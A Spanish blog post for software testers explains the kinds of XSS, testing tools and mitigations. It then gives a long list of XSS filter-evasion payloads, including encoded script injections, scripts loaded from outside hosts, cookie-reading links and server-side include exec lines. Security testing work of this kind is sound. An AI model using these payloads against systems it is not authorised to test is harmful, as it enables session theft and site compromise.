jueves, 5 de junio de 2025

Guía esencial para un software tester: payloads para realizar pruebas efectivas XSS

Buenas lectores.

Las pruebas de seguridad contra Cross-Site Scripting (XSS) son esenciales para prevenir ataques que pueden comprometer datos de usuarios, modificar contenido de sitios web y ejecutar scripts maliciosos en navegadores. Aquí tienes una guía estructurada sobre cómo abordar estas pruebas.


1. ¿Qué es XSS y por qué es importante probarlo?

XSS es una vulnerabilidad que permite a atacantes inyectar scripts en páginas web que luego se ejecutan en el navegador de otros usuarios. Esto puede llevar al robo de credenciales, desfiguración de sitios y distribución de malware.

Realizar pruebas de XSS es fundamental para proteger la integridad y seguridad de los sistemas web, garantizando que las entradas de usuario sean tratadas adecuadamente y evitando ejecuciones de código arbitrarias.


2. Tipos de XSS y cuándo realizar pruebas


a) XSS almacenado

  • Ocurre cuando el código malicioso se almacena en la base de datos y se ejecuta al cargar la página.
  • Cuándo probar: En sistemas donde los usuarios pueden ingresar y almacenar contenido, como foros, comentarios y paneles administrativos.
  • Es el mas importante a probar porque es el mas peligroso.


b) XSS reflejado

  • Se ejecuta inmediatamente cuando un usuario hace clic en un enlace manipulado.
  • Cuándo probar: En cualquier lugar donde se reciban parámetros desde la URL, como formularios de búsqueda o autenticación.

c) XSS basado en DOM

  • La manipulación ocurre dentro del navegador, sin interacción con el servidor.
  • Cuándo probar: En aplicaciones con JavaScript dinámico que modifican el DOM sin validar entradas adecuadamente.


3. Métodos para realizar pruebas de XSS


a) Análisis de entradas

Prueba enviando diferentes payloads en campos de texto, parámetros de URL y cookies, como:

html

<script>alert('XSS')</script>

Si la alerta aparece sin haber pasado por validaciones adecuadas, la aplicación es vulnerable.


b) Pruebas con herramientas de análisis

Utiliza herramientas como:

  • Burp Suite: Para interceptar y modificar solicitudes HTTP.
  • OWASP ZAP: Para escanear vulnerabilidades automáticamente.
  • XSStrike: Para pruebas avanzadas de XSS en aplicaciones web.


c) Validación de sanitización

Verifica que la aplicación remueva o escape correctamente caracteres peligrosos como < > " ' &. Un código seguro debe transformar:


html

<script>alert("XSS")</script>

En:


html

&lt;script&gt;alert("XSS")&lt;/script&gt;

Esto impide que el código se ejecute en el navegador.


4. Buenas prácticas para mitigar XSS

  • Escapar y sanitizar entradas antes de mostrarlas en HTML.
  • Utilizar CSP (Content Security Policy) para restringir la ejecución de scripts externos.
  • Implementar validaciones en servidor y cliente, evitando confianza en datos no verificados.
  • Usar librerías seguras como DOMPurify para limpiar contenido antes de renderizarlo.


Aquí te dejo una buena lista de payloads que puedes probar en los formularios y/o servicios que estes probando:

<script>alert(123);</script>
<ScRipT>alert("XSS");</ScRipT>
<script>alert(123)</script>
<script>alert("hellox worldss");</script>
<script>alert("XSS")</script>
<script>alert("XSS");</script>
<script>alert('XSS')</script>
"><script>alert("XSS")</script>
<script>alert(/XSS")</script>
<script>alert(/XSS/)</script>
</script><script>alert(1)</script>
'; alert(1);
')alert(1);//
<ScRiPt>alert(1)</sCriPt>
<IMG SRC=jAVasCrIPt:alert('XSS')>
<IMG SRC="javascript:alert('XSS');">
<IMG SRC=javascript:alert(&quot;XSS&quot;)>
<IMG SRC=javascript:alert('XSS')>     
<img src=xss onerror=alert(1)>
<iframe %00 src="&Tab;javascript:prompt(1)&Tab;"%00>
<svg><style>{font-family&colon;'<iframe/onload=confirm(1)>'
<input/onmouseover="javaSCRIPT&colon;confirm&lpar;1&rpar;"
<sVg><scRipt %00>alert&lpar;1&rpar; {Opera}
<img/src=`%00` onerror=this.onerror=confirm(1)
<form><isindex formaction="javascript&colon;confirm(1)"
<img src=`%00`&NewLine; onerror=alert(1)&NewLine;
<script/&Tab; src='https://dl.dropbox.com/u/13018058/js.js'; /&Tab;></script>
<ScRipT 5-0*3+9/3=>prompt(1)</ScRipT giveanswerhere=?
<iframe/src="data:text/html;&Tab;base64&Tab;,PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg==">
<script /*%00*/>/*%00*/alert(1)/*%00*/</script /*%00*/
&#34;&#62;<h1/onmouseover='\u0061lert(1)'>%00
<iframe/src="data:text/html,<svg &#111;&#110;load=alert(1)>">
<meta content="&NewLine; 1 &NewLine;; JAVASCRIPT&colon; alert(1)" http-equiv="refresh"/>
<svg><script xlink:href=data&colon;,window.open('https://www.google.com/')></script
<svg><script x:href='https://dl.dropbox.com/u/13018058/js.js'; {Opera}
<meta http-equiv="refresh" content="0;url=javascript:confirm(1)">
<iframe src=javascript&colon;alert&lpar;document&period;location&rpar;>
<form><a href="javascript:\u0061lert&#x28;1&#x29;">X
</script><img/*%00/src="worksinchrome&colon;prompt&#x28;1&#x29;"/%00*/onerror='eval(src)'>
<img/&#09;&#10;&#11; src=`~` onerror=prompt(1)>
<form><iframe &#09;&#10;&#11; src="javascript&#58;alert(1)"&#11;&#10;&#09;;>
<a href="data:application/x-x509-user-cert;&NewLine;base64&NewLine;,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="&#09;&#10;&#11;>X</a
http://www.google<script .com>alert(document.location)</script
<a&#32;href&#61;&#91;&#00;&#93;"&#00; onmouseover=prompt&#40;1&#41;&#47;&#47;">XYZ</a
<img/src=@&#32;&#13; onerror = prompt('&#49;')
<style/onload=prompt&#40;'&#88;&#83;&#83;'&#41;
<script ^__^>alert(String.fromCharCode(49))</script ^__^
</style &#32;><script &#32; :-(>/**/alert(document.location)/**/</script &#32; :-(
&#00;</form><input type&#61;"date" onfocus="alert(1)">
<form><textarea &#13; onkeyup='\u0061\u006C\u0065\u0072\u0074&#x28;1&#x29;'>
<script /***/>/***/confirm('\uFF41\uFF4C\uFF45\uFF52\uFF54\u1455\uFF11\u1450')/***/</script /***/
<iframe srcdoc='&lt;body onload=prompt&lpar;1&rpar;&gt;'>
<a href="javascript:void(0)" onmouseover=&NewLine;javascript:alert(1)&NewLine;>X</a>
<script ~~~>alert(0%0)</script ~~~>
<style/onload=&lt;!--&#09;&gt;&#10;alert&#10;&lpar;1&rpar;>
<///style///><span %2F onmousemove='alert&lpar;1&rpar;'>SPAN
<img/src='http://i.imgur.com/P8mL8.jpg'; onmouseover=&Tab;prompt(1)
&#34;&#62;<svg><style>{-o-link-source&colon;'<body/onload=confirm(1)>'
&#13;<blink/&#13; onmouseover=pr&#x6F;mp&#116;(1)>OnMouseOver {Firefox & Opera}
<marquee onstart='javascript:alert&#x28;1&#x29;'>^__^
<div/style="width:expression(confirm(1))">X</div> {IE7}
<iframe/%00/ src=javaSCRIPT&colon;alert(1)
//<form/action=javascript&#x3A;alert&lpar;document&period;cookie&rpar;><input/type='submit'>//
/*iframe/src*/<iframe/src="<iframe/src=@"/onload=prompt(1) /*iframe/src*/>
//|\\ <script //|\\ src='https://dl.dropbox.com/u/13018058/js.js'> //|\\ </script //|\\
</font>/<svg><style>{src&#x3A;'<style/onload=this.onload=confirm(1)>'</font>/</style>
<a/href="javascript:&#13; javascript:prompt(1)"><input type="X">
</plaintext\></|\><plaintext/onmouseover=prompt(1)
</svg>''<svg><script 'AQuickBrownFoxJumpsOverTheLazyDog'>alert&#x28;1&#x29; {Opera}
<a href="javascript&colon;\u0061&#x6C;&#101%72t&lpar;1&rpar;"><button>
<div onmouseover='alert&lpar;1&rpar;'>DIV</div>
<iframe style="xg-p:absolute;top:0;left:0;width:100%;height:100%" onmouseover="prompt(1)">
<a href="jAvAsCrIpT&colon;alert&lpar;1&rpar;">X</a>
<embed src="http://corkami.googlecode.com/svn/!svn/bc/480/trunk/misc/pdf/helloworld_js_X.pdf">
<object data="http://corkami.googlecode.com/svn/!svn/bc/480/trunk/misc/pdf/helloworld_js_X.pdf">
<var onmouseover="prompt(1)">On Mouse Over</var>
<a href=javascript&colon;alert&lpar;document&period;cookie&rpar;>Click Here</a>
<img src="/" =_=" title="onerror='prompt(1)'">
<%<!--'%><script>alert(1);</script -->
<script src="data:text/javascript,alert(1)"></script>
<iframe/src \/\/onload = prompt(1)
<iframe/onreadystatechange=alert(1)
<svg/onload=alert(1)
<input value=<><iframe/src=javascript:confirm(1)
<input type="text" value=`` <div/onmouseover='alert(1)'>X</div>
http://www.<script>alert(1)</script .com
<iframe src=j&NewLine;&Tab;a&NewLine;&Tab;&Tab;v&NewLine;&Tab;&Tab;&Tab;a&NewLine;&Tab;&Tab;&Tab;&Tab;s&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;c&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;r&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;i&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;p&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;t&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&colon;a&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;l&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;e&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;r&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;t&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;28&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;1&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;%29></iframe>
<svg><script ?>alert(1)
<iframe src=j&Tab;a&Tab;v&Tab;a&Tab;s&Tab;c&Tab;r&Tab;i&Tab;p&Tab;t&Tab;:a&Tab;l&Tab;e&Tab;r&Tab;t&Tab;%28&Tab;1&Tab;%29></iframe>
<img src=`xx:xx`onerror=alert(1)>
<meta http-equiv="refresh" content="0;javascript&colon;alert(1)"/>
<math><a xlink:href="//jsfiddle.net/t846h/">click
<embed code="http://businessinfo.co.uk/labs/xss/xss.swf" allowscriptaccess=always>
<svg contentScriptType=text/vbs><script>MsgBox+1
<a href="data:text/html;base64_,<svg/onload=\u0061&#x6C;&#101%72t(1)>">X</a
<iframe/onreadystatechange=\u0061\u006C\u0065\u0072\u0074('\u0061') worksinIE>
<script>~'\u0061' ; \u0074\u0068\u0072\u006F\u0077 ~ \u0074\u0068\u0069\u0073. \u0061\u006C\u0065\u0072\u0074(~'\u0061')</script U+
<script/src="data&colon;text%2Fj\u0061v\u0061script,\u0061lert('\u0061')"></script a=\u0061 & /=%2F
<script/src=data&colon;text/j\u0061v\u0061&#115&#99&#114&#105&#112&#116,\u0061%6C%65%72%74(/XSS/)></script
<object data=javascript&colon;\u0061&#x6C;&#101%72t(1)>
<script>+-+-1-+-+alert(1)</script>
<body/onload=&lt;!--&gt;&#10alert(1)>
<script itworksinallbrowsers>/*<script* */alert(1)</script
<img src ?itworksonchrome?\/onerror = alert(1)
<svg><script>//&NewLine;confirm(1);</script </svg>
<svg><script onlypossibleinopera:-)> alert(1)
<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaa aaaaaaaaaa href=j&#97v&#97script&#x3A;&#97lert(1)>ClickMe
<script x> alert(1) </script 1=2
<div/onmouseover='alert(1)'> style="x:">
<--`<img/src=` onerror=alert(1)> --!>
 <script/src=&#100&#97&#116&#97:text/&#x6a&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x000070&#x074,&#x0061;&#x06c;&#x0065;&#x00000072;&#x00074;(1)></script>
<div style="xg-p:absolute;top:0;left:0;width:100%;height:100%" onmouseover="prompt(1)" onclick="alert(1)">x</button>
"><img src=x onerror=window.open('https://www.google.com/');>
<form><button formaction=javascript&colon;alert(1)>CLICKME
<math><a xlink:href="//jsfiddle.net/t846h/">click
<object data=data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+></object>
<iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe>
<a href="data:text/html;blabla,&#60&#115&#99&#114&#105&#112&#116&#32&#115&#114&#99&#61&#34&#104&#116&#116&#112&#58&#47&#47&#115&#116&#101&#114&#110&#101&#102&#97&#109&#105&#108&#121&#46&#110&#101&#116&#47&#102&#111&#111&#46&#106&#115&#34&#62&#60&#47&#115&#99&#114&#105&#112&#116&#62&#8203">Click Me</a>
<SCRIPT>String.fromCharCode(97, 108, 101, 114, 116, 40, 49, 41)</SCRIPT>
';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//–></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
<IMG """><SCRIPT>alert("XSS")</SCRIPT>">
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
<IMG SRC="jav ascript:alert('XSS');">
<IMG SRC="jav&#x09;ascript:alert('XSS');">
<<SCRIPT>alert("XSS");//<</SCRIPT>
%253cscript%253ealert(1)%253c/script%253e
"><s"%2b"cript>alert(document.cookie)</script>
foo<script>alert(1)</script>
<scr<script>ipt>alert(1)</scr</script>ipt>
<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>
<IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>
<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>
<BODY BACKGROUND="javascript:alert('XSS')">
<BODY ONLOAD=alert('XSS')>
<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">
<IMG SRC="javascript:alert('XSS')"
<iframe src=http://ha.ckers.org/scriptlet.html <
javascript:alert("hellox worldss")
<img src="javascript:alert('XSS');">
<img src=javascript:alert(&quot;XSS&quot;)>
<"';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">
<IFRAME SRC="javascript:alert('XSS');"></IFRAME>
<EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></EMBED>
<SCRIPT a=">" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<SCRIPT a=">" '' SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<SCRIPT "a='>'" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<SCRIPT a=">'>" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<<SCRIPT>alert("XSS");//<</SCRIPT>
<"';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))<?/SCRIPT>&submit.x=27&submit.y=9&cmd=search
<script>alert("hellox worldss")</script>&safe=high&cx=006665157904466893121:su_tzknyxug&cof=FORID:9#510
<script>alert("XSS");</script>&search=1
0&q=';alert(String.fromCharCode(88,83,83))//\';alert%2?8String.fromCharCode(88,83,83))//";alert(String.fromCharCode?(88,83,83))//\";alert(String.fromCharCode(88,83,83)%?29//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83%?2C83))</SCRIPT>&submit-frmGoogleWeb=Web+Search
<h1><font color=blue>hellox worldss</h1>
<BODY ONLOAD=alert('hellox worldss')>
<input onfocus=write(XSS) autofocus>
<input onblur=write(XSS) autofocus><input autofocus>
<body onscroll=alert(XSS)><br><br><br><br><br><br>...<br><br><br><br><input autofocus>
<form><button formaction="javascript:alert(XSS)">lol
<!--<img src="--><img src=x onerror=alert(XSS)//">
<![><img src="]><img src=x onerror=alert(XSS)//">
<style><img src="</style><img src=x onerror=alert(XSS)//">
<? foo="><script>alert(1)</script>">
<! foo="><script>alert(1)</script>">
</ foo="><script>alert(1)</script>">
<? foo="><x foo='?><script>alert(1)</script>'>">
<! foo="[[[Inception]]"><x foo="]foo><script>alert(1)</script>">
<% foo><x foo="%><script>alert(123)</script>">
<div style="font-family:'foo&#10;;color:red;';">LOL
LOL<style>*{/*all*/color/*all*/:/*all*/red/*all*/;/[0]*IE,Safari*[0]/color:green;color:bl/*IE*/ue;}</style>
<script>({0:#0=alert/#0#/#0#(0)})</script>
<svg xmlns="http://www.w3.org/2000/svg">LOL<script>alert(123)</script></svg>
&lt;SCRIPT&gt;alert(/XSS/&#46;source)&lt;/SCRIPT&gt;
\\";alert('XSS');//
&lt;/TITLE&gt;&lt;SCRIPT&gt;alert(\"XSS\");&lt;/SCRIPT&gt;
&lt;INPUT TYPE=\"IMAGE\" SRC=\"javascript&#058;alert('XSS');\"&gt;
&lt;BODY BACKGROUND=\"javascript&#058;alert('XSS')\"&gt;
&lt;BODY ONLOAD=alert('XSS')&gt;
&lt;IMG DYNSRC=\"javascript&#058;alert('XSS')\"&gt;
&lt;IMG LOWSRC=\"javascript&#058;alert('XSS')\"&gt;
&lt;BGSOUND SRC=\"javascript&#058;alert('XSS');\"&gt;
&lt;BR SIZE=\"&{alert('XSS')}\"&gt;
&lt;LAYER SRC=\"http&#58;//ha&#46;ckers&#46;org/scriptlet&#46;html\"&gt;&lt;/LAYER&gt;
&lt;LINK REL=\"stylesheet\" HREF=\"javascript&#058;alert('XSS');\"&gt;
&lt;LINK REL=\"stylesheet\" HREF=\"http&#58;//ha&#46;ckers&#46;org/xss&#46;css\"&gt;
&lt;STYLE&gt;@import'http&#58;//ha&#46;ckers&#46;org/xss&#46;css';&lt;/STYLE&gt;
&lt;META HTTP-EQUIV=\"Link\" Content=\"&lt;http&#58;//ha&#46;ckers&#46;org/xss&#46;css&gt;; REL=stylesheet\"&gt;
&lt;STYLE&gt;BODY{-moz-binding&#58;url(\"http&#58;//ha&#46;ckers&#46;org/xssmoz&#46;xml#xss\")}&lt;/STYLE&gt;
&lt;XSS STYLE=\"behavior&#58; url(xss&#46;htc);\"&gt;
&lt;STYLE&gt;li {list-style-image&#58; url(\"javascript&#058;alert('XSS')\");}&lt;/STYLE&gt;&lt;UL&gt;&lt;LI&gt;XSS
&lt;IMG SRC='vbscript&#058;msgbox(\"XSS\")'&gt;
&lt;IMG SRC=\"mocha&#58;&#91;code&#93;\"&gt;
&lt;IMG SRC=\"livescript&#058;&#91;code&#93;\"&gt;
žscriptualert(EXSSE)ž/scriptu
&lt;META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=javascript&#058;alert('XSS');\"&gt;
&lt;META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=data&#58;text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K\"&gt;
&lt;META HTTP-EQUIV=\"refresh\" CONTENT=\"0; URL=http&#58;//;URL=javascript&#058;alert('XSS');\"
&lt;IFRAME SRC=\"javascript&#058;alert('XSS');\"&gt;&lt;/IFRAME&gt;
&lt;FRAMESET&gt;&lt;FRAME SRC=\"javascript&#058;alert('XSS');\"&gt;&lt;/FRAMESET&gt;
&lt;TABLE BACKGROUND=\"javascript&#058;alert('XSS')\"&gt;
&lt;TABLE&gt;&lt;TD BACKGROUND=\"javascript&#058;alert('XSS')\"&gt;
&lt;DIV STYLE=\"background-image&#58; url(javascript&#058;alert('XSS'))\"&gt;
&lt;DIV STYLE=\"background-image&#58;\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028&#46;1027\0058&#46;1053\0053\0027\0029'\0029\"&gt;
&lt;DIV STYLE=\"background-image&#58; url(javascript&#058;alert('XSS'))\"&gt;
&lt;DIV STYLE=\"width&#58; expression(alert('XSS'));\"&gt;
&lt;STYLE&gt;@im\port'\ja\vasc\ript&#58;alert(\"XSS\")';&lt;/STYLE&gt;
&lt;IMG STYLE=\"xss&#58;expr/*XSS*/ession(alert('XSS'))\"&gt;
&lt;XSS STYLE=\"xss&#58;expression(alert('XSS'))\"&gt;
exp/*&lt;A STYLE='no\xss&#58;noxss(\"*//*\");
xss&#58;ex&#x2F;*XSS*//*/*/pression(alert(\"XSS\"))'&gt;
&lt;STYLE TYPE=\"text/javascript\"&gt;alert('XSS');&lt;/STYLE&gt;
&lt;STYLE&gt;&#46;XSS{background-image&#58;url(\"javascript&#058;alert('XSS')\");}&lt;/STYLE&gt;&lt;A CLASS=XSS&gt;&lt;/A&gt;
&lt;STYLE type=\"text/css\"&gt;BODY{background&#58;url(\"javascript&#058;alert('XSS')\")}&lt;/STYLE&gt;
&lt;!--&#91;if gte IE 4&#93;&gt;
&lt;SCRIPT&gt;alert('XSS');&lt;/SCRIPT&gt;
&lt;!&#91;endif&#93;--&gt;
&lt;BASE HREF=\"javascript&#058;alert('XSS');//\"&gt;
&lt;OBJECT TYPE=\"text/x-scriptlet\" DATA=\"http&#58;//ha&#46;ckers&#46;org/scriptlet&#46;html\"&gt;&lt;/OBJECT&gt;
&lt;OBJECT classid=clsid&#58;ae24fdae-03c6-11d1-8b76-0080c744f389&gt;&lt;param name=url value=javascript&#058;alert('XSS')&gt;&lt;/OBJECT&gt;
&lt;EMBED SRC=\"http&#58;//ha&#46;ckers&#46;org/xss&#46;swf\" AllowScriptAccess=\"always\"&gt;&lt;/EMBED&gt;
&lt;EMBED SRC=\"data&#58;image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==\" type=\"image/svg+xml\" AllowScriptAccess=\"always\"&gt;&lt;/EMBED&gt;
a=\"get\";
b=\"URL(\\"\";
c=\"javascript&#058;\";
d=\"alert('XSS');\\")\";
eval(a+b+c+d);
&lt;HTML xmlns&#58;xss&gt;&lt;?import namespace=\"xss\" implementation=\"http&#58;//ha&#46;ckers&#46;org/xss&#46;htc\"&gt;&lt;xss&#58;xss&gt;XSS&lt;/xss&#58;xss&gt;&lt;/HTML&gt;
&lt;XML ID=I&gt;&lt;X&gt;&lt;C&gt;&lt;!&#91;CDATA&#91;&lt;IMG SRC=\"javas&#93;&#93;&gt;&lt;!&#91;CDATA&#91;cript&#58;alert('XSS');\"&gt;&#93;&#93;&gt;
&lt;/C&gt;&lt;/X&gt;&lt;/xml&gt;&lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&gt;&lt;/SPAN&gt;
&lt;XML ID=\"xss\"&gt;&lt;I&gt;&lt;B&gt;&lt;IMG SRC=\"javas&lt;!-- --&gt;cript&#58;alert('XSS')\"&gt;&lt;/B&gt;&lt;/I&gt;&lt;/XML&gt;
&lt;SPAN DATASRC=\"#xss\" DATAFLD=\"B\" DATAFORMATAS=\"HTML\"&gt;&lt;/SPAN&gt;
&lt;XML SRC=\"xsstest&#46;xml\" ID=I&gt;&lt;/XML&gt;
&lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&gt;&lt;/SPAN&gt;
&lt;HTML&gt;&lt;BODY&gt;
&lt;?xml&#58;namespace prefix=\"t\" ns=\"urn&#58;schemas-microsoft-com&#58;time\"&gt;
&lt;?import namespace=\"t\" implementation=\"#default#time2\"&gt;
&lt;t&#58;set attributeName=\"innerHTML\" to=\"XSS&lt;SCRIPT DEFER&gt;alert(&quot;XSS&quot;)&lt;/SCRIPT&gt;\"&gt;
&lt;/BODY&gt;&lt;/HTML&gt;
&lt;SCRIPT SRC=\"http&#58;//ha&#46;ckers&#46;org/xss&#46;jpg\"&gt;&lt;/SCRIPT&gt;
&lt;!--#exec cmd=\"/bin/echo '&lt;SCR'\"--&gt;&lt;!--#exec cmd=\"/bin/echo 'IPT SRC=http&#58;//ha&#46;ckers&#46;org/xss&#46;js&gt;&lt;/SCRIPT&gt;'\"--&gt;
&lt;? echo('&lt;SCR)';
echo('IPT&gt;alert(\"XSS\")&lt;/SCRIPT&gt;'); ?&gt;
&lt;IMG SRC=\"http&#58;//www&#46;thesiteyouareon&#46;com/somecommand&#46;php?somevariables=maliciouscode\"&gt;
Redirect 302 /a&#46;jpg http&#58;//victimsite&#46;com/admin&#46;asp&deleteuser
&lt;META HTTP-EQUIV=\"Set-Cookie\" Content=\"USERID=&lt;SCRIPT&gt;alert('XSS')&lt;/SCRIPT&gt;\"&gt;
&lt;HEAD&gt;&lt;META HTTP-EQUIV=\"CONTENT-TYPE\" CONTENT=\"text/html; charset=UTF-7\"&gt; &lt;/HEAD&gt;+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-
&lt;SCRIPT a=\"&gt;\" SRC=\"http&#58;//ha&#46;ckers&#46;org/xss&#46;js\"&gt;&lt;/SCRIPT&gt;
&lt;SCRIPT =\"&gt;\" SRC=\"http&#58;//ha&#46;ckers&#46;org/xss&#46;js\"&gt;&lt;/SCRIPT&gt;
&lt;SCRIPT a=\"&gt;\" '' SRC=\"http&#58;//ha&#46;ckers&#46;org/xss&#46;js\"&gt;&lt;/SCRIPT&gt;
&lt;SCRIPT \"a='&gt;'\" SRC=\"http&#58;//ha&#46;ckers&#46;org/xss&#46;js\"&gt;&lt;/SCRIPT&gt;
&lt;SCRIPT a=`&gt;` SRC=\"http&#58;//ha&#46;ckers&#46;org/xss&#46;js\"&gt;&lt;/SCRIPT&gt;
&lt;SCRIPT a=\"&gt;'&gt;\" SRC=\"http&#58;//ha&#46;ckers&#46;org/xss&#46;js\"&gt;&lt;/SCRIPT&gt;
&lt;SCRIPT&gt;document&#46;write(\"&lt;SCRI\");&lt;/SCRIPT&gt;PT SRC=\"http&#58;//ha&#46;ckers&#46;org/xss&#46;js\"&gt;&lt;/SCRIPT&gt;
&lt;A HREF=\"http&#58;//66&#46;102&#46;7&#46;147/\"&gt;XSS&lt;/A&gt;
&lt;A HREF=\"http&#58;//%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D\"&gt;XSS&lt;/A&gt;
&lt;A HREF=\"http&#58;//1113982867/\"&gt;XSS&lt;/A&gt;
&lt;A HREF=\"http&#58;//0x42&#46;0x0000066&#46;0x7&#46;0x93/\"&gt;XSS&lt;/A&gt;
&lt;A HREF=\"http&#58;//0102&#46;0146&#46;0007&#46;00000223/\"&gt;XSS&lt;/A&gt;
&lt;A HREF=\"htt p&#58;//6 6&#46;000146&#46;0x7&#46;147/\"&gt;XSS&lt;/A&gt;
&lt;A HREF=\"//www&#46;google&#46;com/\"&gt;XSS&lt;/A&gt;
&lt;A HREF=\"//google\"&gt;XSS&lt;/A&gt;
&lt;A HREF=\"http&#58;//ha&#46;ckers&#46;org@google\"&gt;XSS&lt;/A&gt;
&lt;A HREF=\"http&#58;//google&#58;ha&#46;ckers&#46;org\"&gt;XSS&lt;/A&gt;
&lt;A HREF=\"http&#58;//google&#46;com/\"&gt;XSS&lt;/A&gt;
&lt;A HREF=\"http&#58;//www&#46;google&#46;com&#46;/\"&gt;XSS&lt;/A&gt;
&lt;A HREF=\"javascript&#058;document&#46;location='http&#58;//www&#46;google&#46;com/'\"&gt;XSS&lt;/A&gt;
&lt;A HREF=\"http&#58;//www&#46;gohttp&#58;//www&#46;google&#46;com/ogle&#46;com/\"&gt;XSS&lt;/A&gt;
&lt;
%3C
&lt
&lt;
&LT
&LT;
&#60
&#060
&#0060
&#00060
&#000060
&#0000060
&lt;
&#x3c
&#x03c
&#x003c
